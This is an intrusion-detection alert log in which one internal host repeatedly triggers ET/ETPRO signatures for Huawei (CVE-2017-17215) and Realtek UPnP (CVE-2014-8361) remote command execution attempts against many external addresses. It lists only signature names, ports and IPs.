07/20/24-23:01:05.900314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41900	37215	192.168.2.14	157.89.201.91
07/20/24-23:01:14.407392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60814	37215	192.168.2.14	157.225.1.100
07/20/24-23:01:34.920163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52734	52869	192.168.2.14	163.241.201.162
07/20/24-23:01:05.608194	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41312	52869	192.168.2.14	112.236.210.206
07/20/24-23:01:22.786757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33700	37215	192.168.2.14	197.22.243.41
07/20/24-23:01:11.454189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45818	37215	192.168.2.14	207.115.103.221
07/20/24-23:01:25.291636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48330	37215	192.168.2.14	105.210.78.187
07/20/24-23:01:05.896134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54762	37215	192.168.2.14	41.135.123.11
07/20/24-23:01:07.682290	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56258	37215	192.168.2.14	41.60.103.183
07/20/24-23:01:06.187826	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60916	52869	192.168.2.14	187.235.69.197
07/20/24-23:01:37.163818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60274	37215	192.168.2.14	41.151.23.250
07/20/24-23:01:37.227564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48560	37215	192.168.2.14	197.76.153.239
07/20/24-23:01:05.472694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56082	52869	192.168.2.14	211.192.130.220
07/20/24-23:01:06.224181	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50718	52869	192.168.2.14	222.15.221.37
07/20/24-23:01:11.480465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34066	37215	192.168.2.14	41.226.131.148
07/20/24-23:01:24.563144	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44676	52869	192.168.2.14	19.5.103.108
07/20/24-23:01:14.406186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52670	37215	192.168.2.14	197.217.48.202
07/20/24-23:01:05.904128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60486	37215	192.168.2.14	197.186.136.100
07/20/24-23:01:13.336390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46652	52869	192.168.2.14	190.120.169.109
07/20/24-23:01:24.577731	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60482	52869	192.168.2.14	205.244.60.239
07/20/24-23:01:25.294369	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42408	37215	192.168.2.14	41.148.2.127
07/20/24-23:01:14.406708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41270	37215	192.168.2.14	41.67.38.205
07/20/24-23:01:07.680629	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59132	37215	192.168.2.14	157.101.161.185
07/20/24-23:01:13.335234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49228	52869	192.168.2.14	165.198.120.17
07/20/24-23:01:14.457357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49930	37215	192.168.2.14	197.192.10.119
07/20/24-23:01:05.927305	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36596	37215	192.168.2.14	175.127.227.163
07/20/24-23:01:11.459583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60488	37215	192.168.2.14	197.27.15.71
07/20/24-23:01:05.797653	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50732	52869	192.168.2.14	206.233.127.191
07/20/24-23:01:29.524980	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39978	52869	192.168.2.14	84.149.17.30
07/20/24-23:01:33.060990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40342	37215	192.168.2.14	217.39.93.216
07/20/24-23:01:25.466735	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33592	52869	192.168.2.14	174.173.238.249
07/20/24-23:01:33.047902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37912	37215	192.168.2.14	157.106.54.46
07/20/24-23:01:22.785873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60462	37215	192.168.2.14	41.182.190.25
07/20/24-23:01:34.820857	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52050	52869	192.168.2.14	159.34.206.150
07/20/24-23:01:07.683360	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59366	37215	192.168.2.14	41.176.52.249
07/20/24-23:01:33.461265	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55798	52869	192.168.2.14	222.32.122.10
07/20/24-23:01:22.777005	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51612	37215	192.168.2.14	117.207.123.4
07/20/24-23:01:05.898116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49402	37215	192.168.2.14	49.240.11.144
07/20/24-23:01:28.180178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50488	37215	192.168.2.14	157.157.105.102
07/20/24-23:01:07.682291	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54744	37215	192.168.2.14	41.26.93.154
07/20/24-23:01:05.788074	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49814	52869	192.168.2.14	60.144.29.97
07/20/24-23:01:11.474688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56722	37215	192.168.2.14	164.245.57.39
07/20/24-23:01:11.467529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56670	37215	192.168.2.14	157.252.104.58
07/20/24-23:01:22.781976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47560	37215	192.168.2.14	41.105.99.222
07/20/24-23:01:34.909517	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56686	52869	192.168.2.14	157.172.195.68
07/20/24-23:01:11.472603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60006	37215	192.168.2.14	41.173.238.68
07/20/24-23:01:02.414687	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37178	37215	192.168.2.14	197.17.71.182
07/20/24-23:01:29.172029	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53566	52869	192.168.2.14	108.190.226.99
07/20/24-23:01:22.766375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60816	37215	192.168.2.14	41.148.155.207
07/20/24-23:01:19.227537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38798	37215	192.168.2.14	120.151.178.30
07/20/24-23:01:33.059039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47658	37215	192.168.2.14	81.62.161.33
07/20/24-23:01:06.902485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46642	52869	192.168.2.14	87.85.193.52
07/20/24-23:01:37.121494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53028	37215	192.168.2.14	41.253.110.40
07/20/24-23:01:05.898214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40646	37215	192.168.2.14	42.124.189.109
07/20/24-23:01:05.838157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41912	52869	192.168.2.14	157.159.16.125
07/20/24-23:01:05.616355	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52796	52869	192.168.2.14	138.222.128.120
07/20/24-23:01:22.781976	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48650	37215	192.168.2.14	43.107.243.32
07/20/24-23:01:05.588258	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46444	52869	192.168.2.14	8.55.90.119
07/20/24-23:01:29.169710	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36918	52869	192.168.2.14	185.142.167.93
07/20/24-23:01:22.801376	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49402	37215	192.168.2.14	197.84.97.78
07/20/24-23:01:02.413580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53338	37215	192.168.2.14	37.3.189.109
07/20/24-23:01:33.068258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53656	37215	192.168.2.14	197.208.145.61
07/20/24-23:01:37.166003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38776	37215	192.168.2.14	197.192.122.153
07/20/24-23:01:05.800883	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59306	52869	192.168.2.14	59.126.120.18
07/20/24-23:01:25.293652	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35292	37215	192.168.2.14	197.150.204.218
07/20/24-23:01:02.413579	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41258	37215	192.168.2.14	197.210.50.88
07/20/24-23:01:25.291116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41702	37215	192.168.2.14	49.23.181.254
07/20/24-23:01:34.901553	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39736	52869	192.168.2.14	179.97.208.77
07/20/24-23:01:05.911930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56500	37215	192.168.2.14	58.195.53.166
07/20/24-23:01:22.736743	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56192	37215	192.168.2.14	197.168.88.200
07/20/24-23:01:05.827522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50454	52869	192.168.2.14	77.164.7.36
07/20/24-23:01:07.676384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50300	37215	192.168.2.14	41.10.3.139
07/20/24-23:01:14.398477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39542	37215	192.168.2.14	157.163.89.230
07/20/24-23:01:29.185354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52260	52869	192.168.2.14	189.92.207.153
07/20/24-23:01:02.410515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46694	37215	192.168.2.14	138.242.39.199
07/20/24-23:01:11.472603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34748	37215	192.168.2.14	41.122.35.63
07/20/24-23:01:06.155613	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48680	52869	192.168.2.14	65.248.115.141
07/20/24-23:01:06.241636	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36028	52869	192.168.2.14	111.86.157.53
07/20/24-23:01:29.735204	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55126	52869	192.168.2.14	175.184.156.103
07/20/24-23:01:22.792727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34198	37215	192.168.2.14	157.11.165.143
07/20/24-23:01:11.480465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58452	37215	192.168.2.14	103.80.62.149
07/20/24-23:01:05.601372	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53244	52869	192.168.2.14	65.188.53.189
07/20/24-23:01:25.290247	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34512	37215	192.168.2.14	197.30.224.46
07/20/24-23:01:34.914910	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51444	52869	192.168.2.14	100.211.0.135
07/20/24-23:01:11.477507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35438	37215	192.168.2.14	157.96.17.87
07/20/24-23:01:22.792727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41780	37215	192.168.2.14	41.156.90.20
07/20/24-23:01:13.332173	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58010	52869	192.168.2.14	114.173.101.131
07/20/24-23:01:28.200134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39638	37215	192.168.2.14	197.250.25.41
07/20/24-23:01:29.185354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55126	52869	192.168.2.14	174.134.90.178
07/20/24-23:01:25.287093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43656	37215	192.168.2.14	41.148.48.255
07/20/24-23:01:11.480465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58452	37215	192.168.2.14	103.80.62.149
07/20/24-23:01:28.142774	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34732	37215	192.168.2.14	41.116.51.206
07/20/24-23:01:33.060990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40528	37215	192.168.2.14	157.185.202.209
07/20/24-23:01:37.122769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38762	37215	192.168.2.14	157.136.193.107
07/20/24-23:01:37.123057	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36600	37215	192.168.2.14	41.74.81.129
07/20/24-23:01:05.927305	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33668	37215	192.168.2.14	157.231.97.191
07/20/24-23:01:28.143794	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35756	37215	192.168.2.14	41.227.1.45
07/20/24-23:01:30.710896	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34004	52869	192.168.2.14	220.47.15.117
07/20/24-23:01:34.931386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34520	52869	192.168.2.14	165.24.106.58
07/20/24-23:01:14.397897	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43776	37215	192.168.2.14	197.219.60.255
07/20/24-23:01:19.235468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49960	37215	192.168.2.14	121.59.206.189
07/20/24-23:01:02.418173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56210	37215	192.168.2.14	41.10.15.208
07/20/24-23:01:14.397897	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52098	37215	192.168.2.14	41.190.193.166
07/20/24-23:01:29.534125	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35360	52869	192.168.2.14	175.5.152.252
07/20/24-23:01:34.980138	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59850	52869	192.168.2.14	162.16.177.241
07/20/24-23:01:37.120918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34038	37215	192.168.2.14	96.104.96.175
07/20/24-23:01:24.076619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42346	52869	192.168.2.14	208.42.117.191
07/20/24-23:01:14.457358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59958	37215	192.168.2.14	197.13.99.243
07/20/24-23:01:33.069192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58012	37215	192.168.2.14	197.74.148.40
07/20/24-23:01:32.953021	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53022	52869	192.168.2.14	169.172.43.160
07/20/24-23:01:02.414137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52980	37215	192.168.2.14	197.195.106.45
07/20/24-23:01:06.160718	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58720	52869	192.168.2.14	41.70.70.158
07/20/24-23:01:25.281101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47196	37215	192.168.2.14	197.113.123.115
07/20/24-23:01:13.332260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40452	52869	192.168.2.14	35.91.143.191
07/20/24-23:01:28.170987	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37550	37215	192.168.2.14	208.181.202.121
07/20/24-23:01:33.110605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47704	37215	192.168.2.14	167.34.165.20
07/20/24-23:01:37.222600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41322	37215	192.168.2.14	41.150.237.101
07/20/24-23:01:14.397565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52432	37215	192.168.2.14	157.74.157.126
07/20/24-23:01:29.460572	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40618	52869	192.168.2.14	42.119.93.45
07/20/24-23:01:37.160288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42508	37215	192.168.2.14	1.93.126.106
07/20/24-23:01:05.895886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57382	37215	192.168.2.14	41.171.220.22
07/20/24-23:01:28.175716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51636	37215	192.168.2.14	41.13.37.76
07/20/24-23:01:19.220942	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56562	37215	192.168.2.14	157.81.216.185
07/20/24-23:01:25.230226	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47544	37215	192.168.2.14	197.224.208.150
07/20/24-23:01:11.456952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53694	37215	192.168.2.14	197.0.25.126
07/20/24-23:01:14.431063	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45882	37215	192.168.2.14	197.219.184.205
07/20/24-23:01:34.945022	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54686	52869	192.168.2.14	19.75.81.79
07/20/24-23:01:34.920034	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58676	52869	192.168.2.14	74.98.6.90
07/20/24-23:01:02.410515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57882	37215	192.168.2.14	41.40.48.20
07/20/24-23:01:31.100640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34868	52869	192.168.2.14	193.243.213.199
07/20/24-23:01:05.898214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39202	37215	192.168.2.14	45.168.126.225
07/20/24-23:01:07.679354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35338	37215	192.168.2.14	157.125.212.107
07/20/24-23:01:19.335605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38520	37215	192.168.2.14	13.82.252.86
07/20/24-23:01:02.410155	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39320	37215	192.168.2.14	4.79.178.142
07/20/24-23:01:11.485692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44478	37215	192.168.2.14	157.93.39.165
07/20/24-23:01:24.075727	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60574	52869	192.168.2.14	190.210.219.152
07/20/24-23:01:29.187581	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60964	52869	192.168.2.14	186.138.141.187
07/20/24-23:01:06.565386	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45982	52869	192.168.2.14	40.224.141.14
07/20/24-23:01:07.653968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49820	37215	192.168.2.14	157.65.23.29
07/20/24-23:01:32.153595	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45336	52869	192.168.2.14	173.48.24.57
07/20/24-23:01:19.225050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50892	37215	192.168.2.14	197.117.43.22
07/20/24-23:01:34.995514	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53912	52869	192.168.2.14	159.34.206.150
07/20/24-23:01:07.680629	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43804	37215	192.168.2.14	149.111.221.178
07/20/24-23:01:28.143148	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50486	37215	192.168.2.14	90.194.101.115
07/20/24-23:01:06.196910	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45164	52869	192.168.2.14	188.154.109.67
07/20/24-23:01:24.624362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47004	52869	192.168.2.14	27.8.13.50
07/20/24-23:01:34.901553	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60036	52869	192.168.2.14	46.136.73.170
07/20/24-23:01:29.707353	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47810	52869	192.168.2.14	146.102.177.163
07/20/24-23:01:14.401421	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46620	37215	192.168.2.14	157.230.50.180
07/20/24-23:01:13.333349	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44956	52869	192.168.2.14	51.249.121.241
07/20/24-23:01:25.294369	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54890	37215	192.168.2.14	197.48.182.247
07/20/24-23:01:37.164417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50662	37215	192.168.2.14	157.130.160.243
07/20/24-23:01:34.908060	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57158	52869	192.168.2.14	71.136.139.92
07/20/24-23:01:02.410932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49218	37215	192.168.2.14	197.181.156.3
07/20/24-23:01:24.446551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36354	52869	192.168.2.14	185.142.167.93
07/20/24-23:01:33.372322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35798	52869	192.168.2.14	175.5.21.0
07/20/24-23:01:11.461274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55820	37215	192.168.2.14	98.118.67.125
07/20/24-23:01:32.304220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57032	52869	192.168.2.14	157.6.186.252
07/20/24-23:01:25.291636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44092	37215	192.168.2.14	25.104.214.117
07/20/24-23:01:28.222987	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33182	37215	192.168.2.14	153.229.202.106
07/20/24-23:01:34.813756	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46426	52869	192.168.2.14	142.216.142.217
07/20/24-23:01:25.285323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58250	37215	192.168.2.14	157.162.113.218
07/20/24-23:01:07.679354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49828	37215	192.168.2.14	157.22.42.117
07/20/24-23:01:14.397956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55982	37215	192.168.2.14	203.216.60.68
07/20/24-23:01:14.406186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34374	37215	192.168.2.14	41.197.249.163
07/20/24-23:01:28.175716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55974	37215	192.168.2.14	41.6.120.115
07/20/24-23:01:24.075800	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33066	52869	192.168.2.14	170.133.86.186
07/20/24-23:01:25.298710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37654	37215	192.168.2.14	197.145.96.83
07/20/24-23:01:32.133536	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55060	52869	192.168.2.14	157.172.195.68
07/20/24-23:01:37.158916	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52026	37215	192.168.2.14	197.54.170.112
07/20/24-23:01:05.901568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52986	37215	192.168.2.14	199.61.145.35
07/20/24-23:01:34.040722	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54198	52869	192.168.2.14	192.84.42.215
07/20/24-23:01:29.186915	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49308	52869	192.168.2.14	134.20.23.71
